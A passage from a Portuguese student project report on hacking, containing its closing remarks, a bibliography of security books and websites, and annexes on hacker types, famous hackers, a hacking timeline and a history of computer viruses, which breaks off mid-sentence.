Antes de iniciar o desenvolvimento da plataforma será necessário efectuar a escolha da
linguagem de programação a usar. Também deverá ser decidido se o objectivo é simular
167
apenas a utilização de uma ferramenta para explorar uma única vulnerabilidade ou se é
pretendido simular a utilização de várias ferramentas.
A continuação deste projecto pode ser futuramente desenvolvido por mais de um grupo
e pode ser constantemente actualizado. Será necessário definir se o objectivo é criar
uma interface única onde vão sendo adicionados os módulos desenvolvido ou se para
cada um será criada uma aplicação independente. Cada módulo vai simular a utilização
de uma ferramenta e apresentará o resultado esperado da utilização desta.
A ferramenta a simular por cada módulo pode ser um exploit, uma aplicação que
funcione apenas por linha de comandos ou uma ferramenta com interface gráfica.
No futuro este documento deve também ser melhorado e completado.
Com a chegada do Windows Vista e de outras novidades poderão ser encontradas novas
formas para atacar sistemas ou redes. Caso isso acontece o documento deve ser
actualizado para se manter o mais completo possível. Devido á falta de tempo e material
o documento apresentado contem uma abordagem muito teórica e resumida dos
diferentes tipos de ataques, pelo que deve ser melhorado pelos grupos que decidirem
continuar o desenvolvimento deste trabalho.
18.4 Apreciação final
O tema abordado nesse trabalho foi muito interessante pois diz respeito a um assunto
que abrange várias áreas da informática como redes de computadores, segurança de
sistemas, história da informática, etc.
Este projecto levou a que nós adquiríssemos muitos conhecimentos.
Na nossa opinião, o maior entrave que existiu durante o desenvolvimento do trabalho
foi o facto de as disciplinas do segundo semestre ocuparem bastante tempo que deveria
ter sido usado no desenvolvimento do projecto. Outro inconveniente foi a falta de
material disponível para criarmos uma rede para simular vários ataques.
168
19 Bibliografia Antrax, Apresentação - “NetBIOS hacking through Windows Made Easy”. Disponível
em <http://myweb.tiscali.co.uk/sadlife/hackingED2K.htm>
Beaver, Kevin - “Hacking for Dummies”, ISBN 076455784X, For Dummies, 1ª
edição, 2004
C. Foster, James - “Buffer Overflow Attacks: Detect, Exploit, Prevent”, ISBN
1932266674, Syngress Publishing, 1ª edição, 2005
Caramelo, Hugo – “50 Hacks para o Windows XP”, ISBN 9896150206, Centro
Atlântico, 2ª edição, 2006
Casad, Joe - “Sams Teach Yourself TCP/IP in 24 Hours, Third Edition”, ISBN
0672325659, Sams, 3ª edição, 2003
Departamento de Informática Universidade do Minho, Henrique Neves e Pedro
Monteiro, Apresentação: “Trabalho7: SSL/TLS”. Disponível em
<www.fe.up.pt/~jvv/Assuntos/Apresentacoes/TLS.ppt>
Fadia, Ankit - “The Ethical Hacking Guide to Corporate Security”, ISBN
9896150044, Centro Atlântico, 1ªedição, 2005
Garg, Manu - Apresentação: “Sniffing in a Switched Network”. Disponível em
<www.infosecwriters.com/ text_resources/pdf/arp_spoofing.pdf>
Gralla, Preston - “Certified Google™ Search and Tools in a Snap”, ISBN
0672328690, Sams, 1ª edição, 2006
Gregg, Michael - “Certified Ethical Hacker Exam Prep”, ISBN 0789735318, 1ªedição,
2006
Jacob, Antonio e Cardoso, Enne Caroline - Apresentação: “Hacking: As Duas Faces
Crime e Melhoria na Segurança da Informação”. Disponível em
<www.ibde.org.br/congresso/hacking_as_duas_faces.ppt>
Júnior, Ademar e Soares, Milton – Apresentação: “Um Sistema de Testes Para a
Detec Remota de Sniffers em Redes TCP/IP”. Disponível em
<sniffdet.sourceforge.net/ pt_BR/sniffers-ademar_milton-2002.pdf>
Long, Johnny - “Google Hacking for Penetration Testers”, ISBN 1931836361,
Syngress Publishing, 1ª edição, 2004
Madeira, Paulo – “Apontamentos da cadeira arquitectura de computadores”.
Disponível em <http://www.dei.estg.ipleiria.pt/ac>
169
Mateti, Prabhaker – Apresentação: “Buffer overflow”. Disponível em
<http://www.cs.wright.edu/~pmateti/InternetSecurity/Lectures/BufferOverflow/
bufferOverFlow.ppt>
McClure, Stuart; Scambray, Joel; Kurtz, George - “Hacking Exposed 5th Edition”,
ISBN 0072260815, McGraw-Hill Osborne Media, 5 edição, 2005
McClure, Stuart; Scambray, Joel; Kurtz, George - “Hacking Exposed 4th Edition”,
ISBN 0072227427, McGraw-Hill Osborne Media, 4 edição, 2003
McClure, Stuart; Shah, Saumil e Shah, Shreeraj - “Web hacking - attacks and
defense”, ISBN 0201761769, Addison-Wesley Professional, 1ª edição, 2002
Oliveira, Wilson – “Técnicas para hackers: soluções para segurança”, ISBN
9728426275, Centro Atlântico, 1ª edição, 2000
Orebaugh, Angela et al - “Ethereal Packet Sniffing”, ISBN 1932266828, Syngress
Publishing, 1ª edição, 2004
Pereira, António – “Apontamentos da cadeira de Redes de dados 1”. Disponível em
<http://www.dei.estg.ipleiria.pt/rd1/>
R. Mirza Ahmad, David et al - “Hack Proofing Your Network Second Edition”, ISBN
1928994709, Syngress Publishing, 2ª edição, 2002
Rabadão, Carlos – “Apontamentos da cadeira de Redes de dados 2”. Disponível em
<http://moodle.ued.ipleiria.pt/estg/>
Rabadão, Carlos – “Apontamentos da cadeira de Segurança da Informação”.
Disponível em <http://moodle.ued.ipleiria.pt/estg/>
Reis, Gustavo e Miragaia, Rolando – Apresentação: “Hacking”. Disponível em
<http://www.dei.estg.ipleiria.pt/eventos/csi2004/apresentacoes/Hackinga.pdf>
Ribeiro, Carlos. Apresentação: “Aplicações seguras”. Disponível em
<mega.ist.utl.pt/~ic-aas/ 2004/slides/teoricas/5-securecode.pdf>
Rocha, Gilberto; Neves, Henrique e Monteiro, Pedro. Apresentação: “SEG”.
Disponível em <marco.uminho.pt/disciplinas/CSI/Seg.pdf>
Scambray, Joel e Shema, Mike - “Hacking Exposed: Web Applications”, ISBN
007222438X, McGraw-Hill Osborne Media, 1ª edição, 2002
Schiffman, Mike; J. O’Donnell, Adam; Pollino, David e Bill Pennington -
“Hacker’s Challenge 2: Test your network security & forensic skills”, ISBN
0072226307, McGraw-Hill Osborne Media, 2ª edição, 2002
170
Scut / Team teso - Apresentação: “Exploiting Format String Vulnerabilities”.
Disponível em <www.crhc.uiuc.edu/~grier/ projects/overflows/formatstring-
1.2.pdf>
Silva, Pedro Tavares; Carvalho, Hugo e Torres, Catarina Botelho – “Segurança
dos sistemas de informação”, ISBN 9728426666, Centro Atlântico, 1ªedição,
2003
Souto, Pedro – Apresentação: “Computadores em rede”. Disponível em
<paginas.fe.up.pt/~pfs/aulas/ssi2006/at/11proto.pdf>
Sites:
Apresentação: “Modelo OSI e TCP/IP”. Disponível em
ftp.bauru.unesp.br/Aix/tcpip/osi-tcpip.ppt
Documentação e ferramentas de Hacking. Disponível em
<http://www.foundstone.com/>
Documentação e ferramentas de Hacking. Disponível em <http://www.vulnwatch.org/>
Documentação e ferramentas de Hacking. Disponível em <http://www.jjtc.com/>
Documentação e ferramentas de Hacking. Disponível em
<http://www.unixgeeks.org/security/newbie/security/sniffer/sniffer.html>
Documentação e ferramentas de Hacking. Disponível em <http://news.netcraft.com/>
Documentação sobre Hacking. Disponível em <http://www.hackthissite.org/>
Documentação sobre Hacking. Disponível em <http://www.infosyssec.com/>
Documentação sobre Hacking. Disponível em <http://www.library.2ya.com/>
Documentação sobre Hacking. Disponível em <http://informationleak.net/>
Documentação sobre Hacking. Disponível em <http://www.milw0rm.com/>
171
Documentação sobre Hacking. Disponível em <http://www.doxpara.com/>
Documentação sobre Hacking. Disponível em <http://www.elhacker.net/>
Documentação sobre Hacking, InfoSecurity TaskForce. Disponível em
<http://www.istf.com.br/>
Documentação sobre Hacking. Disponível em <http://www.invasao.com.br/>
Documentação sobre Hacking. Disponível em <http://www.criticalsecurity.net/>
Documentação sobre Hacking, BackTrack. Disponível em <http://www.remote-
exploit.org/index.php/Main_Page>
Documentação sobre Hacking. Disponível em <http://www.sysinternals.com/>
Documentação sobre Hacking. Disponível em <http://www.securityfocus.com/>
Documentação sobre Hacking. Disponível em <http://video.antichat.ru/>
Documentação sobre Hacking. Disponível em <http://www.sans.org/>
Documentação sobre Hacking. Disponível em
<http://www.professionalsecuritytesters.org/>
Documentação sobre Hacking. Disponível em <http://www.isecom.org/>
Documentação sobre Hacking. Disponível em <http://www.felinemenace.org/>
Documentação sobre Hacking. Disponível em <http://www.egocrew.de/>
Documentação sobre Hacking, conferencia de segurança. Disponível em
<http://2005.recon.cx/>
172
Documentação sobre Hacking. Disponível em <http://www.securiteam.com/>
Documentação sobre Hacking. Disponível em <http://www.irongeek.com/>
Documentação sobre vulnerabilidades em redes wireless. Disponível em
<http://www.wirelessve.org/entries/exploits>
Documentação sobre Hacking. Disponível em <http://www.reverse-engineering.net/>
Documentação sobre Hacking. Disponível em <http://www.techexams.net/>
Documentação sobre Hacking. Disponível em <http://www.hackingspirits.com/>
Documentação sobre Hacking. Disponível em <http://packetstorm.ussrback.com/>
Base de dados de vulnerabilidades dos Estados Unidos. Disponível em
<http://nvd.nist.gov/>
Documentação sobre SQL Injection. Disponível em
<http://www.imperva.com/application_defense_center/white_papers/blind_sql_s
erver_injection.html/>
SecurityForest. Disponível em <http://www.securityforest.com>
Metasploit Project. Disponível em <http://www.metasploit.com/>
Wikipédia. Disponível em <http://wikipedia.org/>
Dicionário de acrónimos. Disponível em <http://www.acronymfinder.com/>
Dicionário de acrónimos. Disponível em <http://www.auditmypc.com/acronym.asp>
173
Documentação e ferramentas de Hacking. Disponível em
<http://www.esquemadf.pop.com.br/>
Ferramentas para ataques. Disponível em <http://www.oxid.it>
Ferramenta IDS. Disponível em <http://www.snort.org/>
Documentação sobre hacking. Disponível em <http://www.liia.ipg.pt>
Documentação de Hacking. Disponível em <http://www.virushelp.org>
Documentação sobre hacking. Disponível em <http://cartilha.cert.br/>
Documentos sobre linguagem C. Disponível em <http://www.ronaldolima.eti.br/>
Documentação sobre vírus. Disponível em <http://vx.netlux.org/>
Documentação sobre Hacking. Disponível em <http://community.corest.com/>
Documentação sobre Hacking. Disponível em <http://www.pulhas.org>
Documentação sobre criptografia. Disponível em <http://www.pgpi.org>
Documentação sobre DNS spoofing. Disponível em <http://www.securesphere.net>
Documentação sobre DNS spoofing. Disponível em
<http://www.lurhq.com/cachepoisoning.html>
174
20 Anexos
A. Tipos de Hackers
Existem diversas definições para o tipo de pessoas que são designadas de “Hacker”. As
definições variam consoante as capacidades individuais, os feitos e as motivações
usadas por cada indivíduo. As várias definições encontram-se descritas em seguida.
- Hacker:
Originalmente o termo Hacker era utilizado para indicar um especialista numa
determinada área. Com o passar do tempo o termo passou a ser usado para indicar uma
pessoa que possui uma grande capacidade de análise, assimilação, compreensão de
computadores e redes, o que lhe permite saber que nenhum sistema é completamente
livre de falhas. As suas capacidades faz com que se torne capaz de aceder a sistemas
alheios para aprender e encontrar mais pontos fracos, sem querer causar prejuízo do
sistema invadido ou querer receber benefícios económicos pelo que fez.
Segundo Kevin Mitnick (Expresso, 19/Novembro/2005) existem seis motivações que
influenciam o comportamento do Hacker: Dinheiro, entretenimento, ego, activismo,
aceitação num grupo e estatuto.
O uso do termo Hacker encontra-se largamente associado a Crackers que praticam
actividades criminosas, como invasão de computadores, furto de informações, defacing
(alteração) de sites, etc. Usando várias técnicas e tecnologias. Porém, essa associação
directa é criticada por vários grupos como a comunidade de software livre que utiliza o
termo para designar seus principais programadores, bem como os próprios especialistas
que não se identificam com a vertente obscura e criminosa. Assim, apesar de ambas
vertentes (criminosa e não criminosa) incluírem verdadeiros especialistas, surgiu a
necessidade de se fazer a distinção.
Outros termos utilizados na segurança da informação, para diferenciar os tipos de
hacker são:
a) White hat – (também conhecido Hacker ético) Hacker que utiliza os seus
conhecimentos na exploração e detecção de erros de concepção, dentro da lei. A atitude
175
típica de um white hat assim que encontra falhas de segurança é a de entrar em contacto
com o responsável para comunicar o que descobriu.
b) Black hat - (também conhecido como cracker ou dark-side hacker) hacker
criminoso.
- Cracker:
a) Cracker é o termo usado para designar quem quebra a segurança de um sistema, de
forma ilegal ou sem ética e que permite o uso ilegal de sofware. Este termo foi criado
em 1985 pelos Hackers em defesa contra o uso jornalístico do termo Hacker.
Existem diferentes tipos de Crackers:
b) Cracker de sistemas: piratas que invadem computadores ligados em rede.
c)Cracker de programas: piratas que quebram as protecções de software cedidos a título
de demonstração para usá-los por tempo indeterminado, como se fossem cópias
legítimas.
d) Pessoas que desenvolvem vírus, worms e trojans: programadores que criam
programas pequenos, mas que causam prejuízo aos utilizadores que o possuem.
Piratas de programas: indivíduos que fazem copias ilegais de programas, desrespeitando
assim os direitos de autor.
e) Distribuidores de warez (Warez é a expressão usada para indicar software pirata):
webmasters que disponibilizam nas suas páginas software sem autorização dos
detentores de direitos de autor.
Motivações dos Crackers:
a) Curiosos: agem por curiosidade e para aprender novas técnicas. Não causam danos
materiais à vítima. Lêem os dados armazenados, mas não modificam nem apagam nada.
b) Pessoas que alteram paginas web: agem principalmente com o objectivo de serem
reconhecidos. Desejam tornar-se famosos no universo Cyberpunk e para isso alteram
site, num comportamento muito semelhante aos pintores de muros, deixam sempre
assinado os seus pseudónimos. Alguns deixam mensagens de conteúdo político, o que
não deve ser confundido com o ciber-terrorismo.
c) Vingança: funcionário ou ex-funcionário de alguma empresa que por qualquer
motivo resolve sabotá-la com objectivo claro de vingança. Geralmente trabalharam no
sector de informática da empresa o que facilita enormemente o seu trabalho porque
conhecem o sistema que pretendem atacar.
176
d) Vândalos: agem pelo simples prazer de causar danos a vítima. Este dano pode
consistir em colocar o servidor offline ou destruir os dados armazenados.
e) Espiões: agem para adquirirem informações confidenciais armazenados no
computador da vítima. Os dados podem ter conteúdo comercial (uma fórmula de um
produto químico) ou político (e-mails entre consulados) ou militar (programas
militares).
f) Ciberterroristas: são terroristas digitais. As suas motivações são geralmente politicas.
g) Ladrões: têm objectivos financeiros claros e em regra atacam bancos com a
finalidade de desviar dinheiro para suas contas.
h) Estelionatários: também com objectivos financeiros, em geral, procuram adquirir
números de cartões de créditos armazenados em grandes sites comerciais.
- Phreaker:
É como é conhecida a pessoa especializada em telefones, e que tem como actividade
principal efectuar ligações gratuitas (tanto chamadas locais como interurbanas e
internacional), reprogramação de centrais telefónicas, instalação de escutas telefónicas,
etc.
O conhecimento de um Phreaker permite que este efectue um ataque sem ter de pagar o
acesso, esconder o seu acesso de modo a não ser possível rastrear a sua actividade e
ainda forjar o culpado da ligação fraudulenta de modo a fazer com que um inocente
receba a culpa.
- Guru:
O supra-sumo dos Hackers, uma vez que possui um grande conhecimento de
informática.
- Lammer:
Lammer é o nome atribuído aos grupos de pretendentes a Hackers ou Crackers
(geralmente das camadas etárias mais novas) que desenvolvem actividades relacionadas
com segurança da informação utilizando as ferramentas desenvolvidas por Hackers e
Crackers e que tentam aprender sobre hacking ou cracking.
Esta expressão é utilizada com fim pejorativo para indicar um indivíduo que se faz
passar por Hacker mas que não tem conhecimentos técnicos das ferramentas que utiliza
nem conhecimentos para desenvolver o seu próprio software.
177
- Script kiddie:
Script Kid é o sinónimo moderno do antigo termo Lammer.
- Wannabe:
Termo que vem do inglês Want-to-be (quer ser), e geralmente é empregado para
classificar de forma pejorativa os aprendizes de técnicas de computadores que
demonstram uma atitude de especialista. Geralmente é usado para identificar
principiantes que aprenderam a usar uma receita para descobrir senhas ou invadir
sistemas e porque conseguiram entrar num sistema simples e ficam a pensar que
conseguem invadir qualquer sistema.
- Hacktivista:
É um Hacker que faz o defacement (deformação) de websites para chamar a atenção
para questões politicas ou causas sociais.
- Arackers:
Esses são os piores! São a maioria absoluta no sub mundo cibernético. Algo em torno
de 99,9%. Fingem ser os mais ousados e espertos utilizadores de computador, planeiam
ataques, fazem reuniões durante as madrugadas (ou pelo menos até a hora em que a mãe
mandar dormir), contam casos absurdamente fantasiosos, mas no final das contas vão
fazer download no site da Playboy ou jogar algum desses "killerware", resultando na
mais chata e engraçada espécie: a "odonto-hackers" – o hacker da boca para fora!
- Newbie:
Embora algumas pessoas digam que o termo vem do inglês "new boy" ("garoto novo",
no sentido de "novato"), o certo é que a origem de Newbie vem de New (novo) + Bio
(vida). Seria algo como "recém-nascido", ou, por contextualização, "recém-chegado".
O termo é amplamente utilizado na Internet, para designar pessoas recém-chegadas. O
termo é também usado, erroneamente, para designar uma pessoa sem experiência ou
com menos experiência do que quem chama.
O termo geralmente é considerado como um insulto, embora em muitos casos as
pessoas de mais experiência usem com o propósito de reforçar a sua inexperiência num
campo ou área específica.
178
Em alguns contextos, como em jogos para múltiplos jogadores, os Newbies são
rejeitados pelos mais experientes. Newbies costumam fazer perguntas que parecem
extremamente simples a utilizadores experientes, ou rompem a ordem normal com a
falta de habilidades ou etiqueta em um certo tipo de tecnologia. Por exemplo, os
jogadores de jogos podem ignorar Newbies porque eles pensam que Newbies
atrapalharão uma experiência de grupo.
Uma pessoa pode ser muito experiente em um certo jogo, mas se migra para um que
nunca jogou, é considerado Newbie pelos que já jogam há algum tempo.
- Larva:
Esta designação é empregue para aqueles que estão quase a ser considerados Hackers.
Já consegue desenvolver as suas próprias técnicas para invadir sistemas, etc.
Um outro detalhe sobre os "pseudo-hackers" é que fazem questão de escrever de forma
absolutamente ilegível, trocam letras por caracteres especiais que, segundo eles, se
parecem. Por exemplo Lammers pode perfeitamente ser escrito Lamerz, Lammerz,
Lamah, etc.
Por incrível que pareça, a maioria das pessoas que acham que são Hackers, não são. E
uma minoria, que obviamente jura não ter nenhum envolvimento com o underground da
informática, são Hackers muito experientes mas raramente perigosos. Os Hackers
perigosos ficam entre estes dois grupos, pois são experientes mas gostam de aparecer, o
que dá a impressão de que são muitos.
179
B. Hacker’s mais famosos
Adrian Lamo: Conhecido como “homeless hacker”, passou grande parte do seu tempo
a explorar falhas das redes de grandes instituições como Yahoo e Microsoft, foi
condenado a dois anos de prisão domiciliária por ter invadido o sistema do jornal “The
New York Times” em 2002.
Eric Corley: Considerado o líder dos Hackers, mais conhecido por “Emmanuel
Goldstein” devido a personagem do livro 1984 de George Orwell (personagem
misteriosa líder da oposição ao totalitarismo). Eric Corley é proprietário da empresa
“2600 Enterprises, Inc.”, que publica, desde 1984, a famosa revista “2600: The Hacker
Quarterly”.
Mark Abene: Também conhecido por “Phiber Optik” foi julgado e preso mais do que
uma vez, ainda menor de idade. Foi intitulado pela revista Time como o primeiro herói
underground da idade da informação e o robin dos bosques do ciberespaço.
Robert Tappan Morris: conhecido como o criador do “Morris Worm” em 1988, o
primeiro worm a circular na Internet.
John Draper: Também conhecido como “Captain Crunch”, Crunch ou Crunchman
introduziu o conceito de Phreaker, começou por utilizar um apito de plástico para
conseguir fazer telefonemas gratuitos e em seguida desenvolveu as chamadas “blue
boxes” para continuar a fazer chamadas grátis.
Johan Helsingius: foi o responsável por um dos servidores de e-mail anónimo mais
famosos do mundo, o servidor tinha o nome de Anon.penet.fi e foi o primeiro a usar
password para proteger o envio e recepção de e-mail.
Vladimir Levin: Conhecido como o cabecilha de um grupo de crackers russos que
assaltaram os computadores do Citibank e roubaram 10 milhões de dólares. Foi preso
pela Interpol (“International Criminal Police Organization”).
180
Kevin Poulsen: O ataque mais apreciado foi o de ter controlado todas as linhas
telefónicas de Los Angeles ao alcance da estacão de rádio KIIS-FM para garantir que era
o 102º ouvinte a telefonar e a ganhar o Porche 944 S2 que a rádio estava a oferecer.
Kevin David Mitnick: Considerado o hacker mais famoso do mundo. Invadiu entre
outros, os sistemas da NSA (“National Security Agency”), Fujitsu, Motorola, Nokia, Sun
Microsystems, …. Foi preso em 1995 pelo FBI e depois de libertado foi proibido de
aceder á Internet durante três anos. Foi considerado pelo governo dos EUA "o Hacker
mais perigoso de todos os tempos".
181
C. Acontecimentos mais marcantes na historia do
hacking
1971
John Draper efectuou chamadas gratuitas com o auxílio de um apito de borracha.
Em seguida a revista Esquire publica o segredo da “blue box”.
1980
Os phreaker’s passam para os computadores. Os grupos de Hackers começam a
ser formados. Surgem os grupos “Legion of Doom” nos Estados Unidos e “Chaos
Computer Club” na Alemanha.
1983
Neste ano adolescentes entram em 60 computadores, com a influência do filme
“War Games” que estreou nesse mesmo ano.
1984
Eric Corley publica a primeira edição da revista “2600: The Hacker
Quarterly”.
1986
Com o crescimento dos intrusos em computadores do Governo dos estados
Unidos, o congresso cria uma lei que assume que fraude ou abuso no uso do
computador é crime, excepto no caso de ser praticado por um menor de idade.
1988
Robert T. Morris Jr cria o primeiro worm que afectou cerca de seis mil
computadores.
1989
182
É divulgado o primeiro caso de espionagem na Internet. Os elementos de um
grupo de hackers são presos na Alemanha por se infiltrarem em sistemas do governo
americano e por vender código fonte de sistemas operativos ao KGB.
1990
Os agentes dos serviços secretos dos Estados Unidos prendem vários Hackers
em 14 cidades diferentes.
1993
Durante uma promoção numa estação de rádio, Kevin Poulsen ganhou um
Porche por ter sido o 102º a ligar para uma estação de rádio. Ele pirateou o sistema
telefónico da estação de rádio para garantir que era o único a ligar.
1994
Aparece o browser “Netscape Navigator”. Este acontecimento faz com que os
Hackers tenham uma nova forma de propagar os ataques. Com as ferramentas
disponíveis e com a facilidade de utilização do novo browser, tornou-se acessível a
qualquer pessoa a Internet.
1995
Kevin David Mitnick e Vladimir Levin são capturados por agentes do FBI.
1997
As aplicações de sendmail passam a ser “bombardeadas” por spam assim como
os chats.
1998
Um grupo de Hackers chamado Cult of the Dead Cow desenvolveu uma
poderosa ferramenta de hacking, um trojan, chamado “back orifice”. Uma vez instalado
no sistema operativo Windows 95 ou Windows 98, era possível ter acesso a respectiva
máquina remotamente.
Hackers entraram no Pentágono e roubaram o software de um satélite militar. O
pentágono recebeu ameaças de que o software seria vendido a terroristas.
183
1999
Surge o vírus Melissa.
2000
Ocorre o maior ataque de negação de serviço de sempre, contra os sistemas da
eBay, Yahoo, Amazon, etc.
Hackers conseguem entrar no sistema da Microsoft e tem acesso ao código fonte de
versões mais antigas do Windows e Office.
Surge em Maio deste ano o vírus “I LOVE YOU”.
2001
A Microsoft torna-se a maior vítima de ataques de negação de serviço (DoS).
Um ataque ao site da Microsoft fez com que os utilizadores ficassem impossibilitados
de aceder ao site durante dois dias.
2003
No dia 13 de Fevereiro de 2003, um homem da cidade de Ohio, Estados Unidos,
ataca o sistema da NASA, e consegue desligar o seu servidor de e-mail.
Um antigo empregado de um aeroporto entrou no sistema desde e destrói todos
os dados existentes.
2004
Nasce o site http://www.informationleak.net que disponibiliza vários tutorais e
tópicos de ajuda sobre hacking. Considerado o ano dourado para a comunidade hacking.
2006
Aparecem vários worms, entre eles:
“Kama Sutra”, “BlackWorm”, Mywife, Blackmal, “Nyxem version D”, Kapser, KillAV,
Grew ou CME-24. Estes worms podem apagar ficheiros, entre estes ficheiros do
software antivírus que se encontre instalado. Também podem apagar entradas do
“Windows Registry”.
184
D. Historia dos vírus informáticos
1949
São desenvolvidas as primeiras teorias sobre auto replicação de programas.
1981
Surgiram os primeiros vírus informáticos chamados “Apple Viruses 1”, “Apple
Viruses 2” e “Apple Viruses 3”. Estes vírus infectavam sistemas operativos
Apple II e espalhavam-se através de jogos pirata infectados.
1983
Fred Cohen na exposição da sua tese define um vírus de computador como um
programa de computador que pode afectar outros programas de computador de
tal forma que consegue incluir neles uma cópia de si próprio.
1986
Dois programadores chamados Basit e Amjad substituíram o código executável
do sector de boot de uma disquete pelo código criado por eles e que infectava
todas as disquetes acedidas na drive. Todas as disquetes infectadas apresentavam
o nome “”@ Brain”.
1987
Surgiu o vírus Lehigh, que foi um dos primeiros vírus com a capacidade de
infectar ficheiros. Este vírus infecta o ficheiro command.com.
1988
Surgiu o vírus Jerusalem que era um vírus activado todas as sextas feiras treze e
que infectava os ficheiros .exe e .com e que eliminava todos os programas que
corressem nesse dia.
Surgiu ainda o vírus MAcMag e Score que afectava sistemas Macintosh.
1990
A empresa Symantec lança o antivírus “Norton Antivírus”. Este é um dos
primeiros antivírus a ser lançado por uma grande companhia.
1991
Surgiu o vírus Tequila que foi o primeiro vírus polimorfico a aparecer. Os vírus
polimorficos são mais difíceis de detectar pelos antivírus porque em cada
infecção alteram a o seu código e mantém apenas o algoritmo inicial intacto.
185
1992
Surgiu a primeira ferramenta para criar vírus com o nome “Virus Creation
Laboratory”. Surgiu ainda a primeira ferramenta que permitia transformar os
vírus comuns em vírus polimorficos. Esta ferramenta tinha o nome de “The Dark
Avenger Mutation Engine (DAME)”.
Nesta altura existiam cerca de 1 300 vírus de computador.
1994
Começou a circular um e-mail a avisar os utilizadores de computadores que iria
surgir um vírus que ia eliminar todo o conteúdo do disco rígido apenas pela
abertura do e-mail com o assunto “Good Times”.
1995
Os vírus mais comuns desta altura são os vírus que se espalham a partir de
documentos da Microsoft Word.
1996
Surgem os vírus Baza, Laroux e Staog que são os primeiros a infectar ficheiros
de Windows 95, Excel e Linux.
1998
Surgiu o primeiro vírus com capacidade para infectar ficheiros Java. Este vírus
alterava o código dos ficheiros CLASS de forma a ter o seu código no meio do
código destes ficheiros e fazia com que a execução do código do ficheiro tivesse
início na localização código do vírus.
Surgiu o vírus Chernobyl que infectava sistemas operativos Windows 95,
Windows 98 e arquivos executáveis do Windows Millenium. Este vírus ficava
residente em memória e conseguia escrever por cima de dados que se
encontravam no disco fazendo com que o sistema deixe de funcionar. Este Vírus
deixou de representar qualquer perigo com a passagem dos utilizadores para
Windows XP e Windows 2 000. Estima-se que os danos causados por este vírus
estejam entre 20 milhões de dólares e os 80 milhões além dos dados destruídos.
1999
Surgiu o vírus Melissa e W97M/Melissa que executava uma macro num
documento que chegava em anexo num e-mail e reenviava o ficheiro
automaticamente para 50 contactos pertencentes á lista de endereços do Outlook
do utilizador infectado. Estes vírus infectavam ainda outros documentos
186
existentes no disco e continuava a espalhar-se através desses documentos se
esses fossem enviados por e-mail. Estima-se que tenha infectado cerca de um
milhão de computadores. Este vírus obrigou empresas como a Intel e a
Microsoft, entre outras, a fechar os seus sistemas de e-mail para conter a
propagação. Causou danos entre 300 milhões e 600 milhões de dólares.
Surgiu o worm “Bubble Boy” que foi o primeiro worm que conseguia infectar o
utilizador assim que este abrisse um e-mail, ao contrário de todos os anteriores
que para infectar a vítima era necessário que esta abrisse algum anexo do e-mail.
Surgiu o vírus Tristate que foi o primeiro a conseguir infectar ficheiros de Word,
Excel e PowerPoint simultaneamente.
2000
Surgiu o vírus ILOVEYOU que se espalhava assim como o Melissa através dos
contactos do Outlook. O vírus era um script de Visual Basic com uma
mensagem amorosa e era enviado como anexo com o nome Love-Letter-For-
You.TXT.VBS e tinha a capacidade de eliminar ficheiros de MP3, MP2 e JPG.
Além de eliminar os ficheiros este vírus ainda tinha a capacidade de enviar login
dos utilizadores infectados para o autor do vírus.
Estima-se que tenha causado prejuízo entre 10 biliões e 15 biliões de dólares.
Surgiu uma variante do vírus Melissa denominado W97M.Resume.A.
Surgiu o vírus Stages que se disfarçava como um anexo de e-mail com a
extensão TXT. Até esta altura pensava-se que os arquivos TXT eram sempre
seguros.
2001
Surgiu depois do ataque de 11 de Setembro o vírus Nimda que infectou centenas
de milhar de computadores em todo o mundo. Este vírus era muito sofisticado e
continha cinco maneiras diferentes de se replicar e de infectar sistemas.
Surgiu o vírus “Anna Kournikova” que preocupou os analistas porque este vírus
apesar de ser praticamente inofensivo enviava-se automaticamente para todos os
contactos do Outlook da vítima, porque tinha sido criado por uma ferramenta de
criação de vírus muito fácil de utilizar.
187
Nesta altura surgiu ainda o vírus BadTrans que tinha sido desenhado para roubar
passwords e informação de cartões de credito e o vírus Sircam que se espalhava
através de documentos pessoais.
Surgiu ainda o vírus CodRed que atacava servidores que utilizavam o Microsoft
Internet Server (IIS). Quando um servidor era infectado as paginas alojadas
passavam a mostrar a mensagem “HELLO to http://www.worm.com! Hacked By
Chinese!”. Os sistemas infectados passavam a ser usados para efectuar ataques a
determinados endereços IP, incluindo o endereço da Casa Branca. Estima-se que
tenha causado prejuízos de cerca de 2,6 biliões de dólares e tenha infectado
cerca de 400 000 servidores.
2002
Surgiu o Virus LFM-926 que infectava ficheiros Shockwave Flash (.SWF) e que
apresentava a mensagem “Loading Flash Movie”, surgiram diversos vírus com o
nome de pessoas famosas como “Shakira”, “Britney Spears” e “Jennifer Lopez”,
apareceu o worm Klez que se espalhava por e-mail e que tentava desactivar os
programas de antivírus instalados na vitima, substituía a informação dos
ficheiros da vitima por zeros e criava uma copia oculta dos ficheiros originais.
Surgiu ainda o worm Bugbear que tinha como característica possuir vários
métodos para infectar sistemas.
2003
Em Janeiro deste ano surgiu o worm SQL Slammer /ou Sapphire) que passou a
ser o worm a infectar sistemas mais rapidamente conseguindo infectar em
apenas 10 minutos cerca de 75 000 computadores, conseguiu infectar cerca de
500 000 servidores em todo o mundo mas não provocou muito prejuízo por ter
aparecido a um sábado.
Surgiu o worm Blaster também conhecido com o Loysan ou MSblast, foi
detectado a 11 de Agosto e espalhou-se muito rapidamente. Este worm
explorava uma falha presente nos sistemas Windows 2000 e Windows XP e
quando se activava apresentava ao utilizador uma mensagem a informar que o
sistema se ia desligar. Ele continha ainda instruções no código para no dia 15 de
Abril efectuar um ataque de DDoS contra o site windowsupdate.com. Foram
188
infectados varias centenas de milhar de computadores e estima-se que tenha
causado prejuízos entre os 2 e os 10 milhões de dólares.
Depois do worm Blaster surgiu o worm Sobig. Este worm conseguiu bater o
recorde de gerar mais de um milhão de cópias de si em apenas um dia. O vírus
foi detectado no dia 19 de Agosto e desactivou-se no dia 10 de Setembro
deixando de ser uma ameaça a partir dessa data. A Microsoft chegou a oferecer
uma recompensa de 250 000 dólares para quem identificasse o criador da versão
Sobig.F que era a versão mais destrutiva criada. O criador nunca foi encontrado
e estima-se que este worm tenha criado danos entre os 5 e os 10 biliões de
dólares e que tenha infectado cerca de um milhão de computadores.
2004
Em Janeiro deste ano surgiu um worm chamado MyDoom ou Novarg que se
conseguia propagar por e-mail e por programas de partilha de ficheiros. Este
worm instalava um programa que permitia ao atacante aceder ao disco duro do
computador infectado. O objectivo da criação deste worm era de usar os
computadores infectados para um ataque de negação de serviço contra a empresa
SCO Group, esta companhia tinha processado vários grupos por usarem uma
versão open source da linguagem Unix desenvolvida por ela. Esta companhia
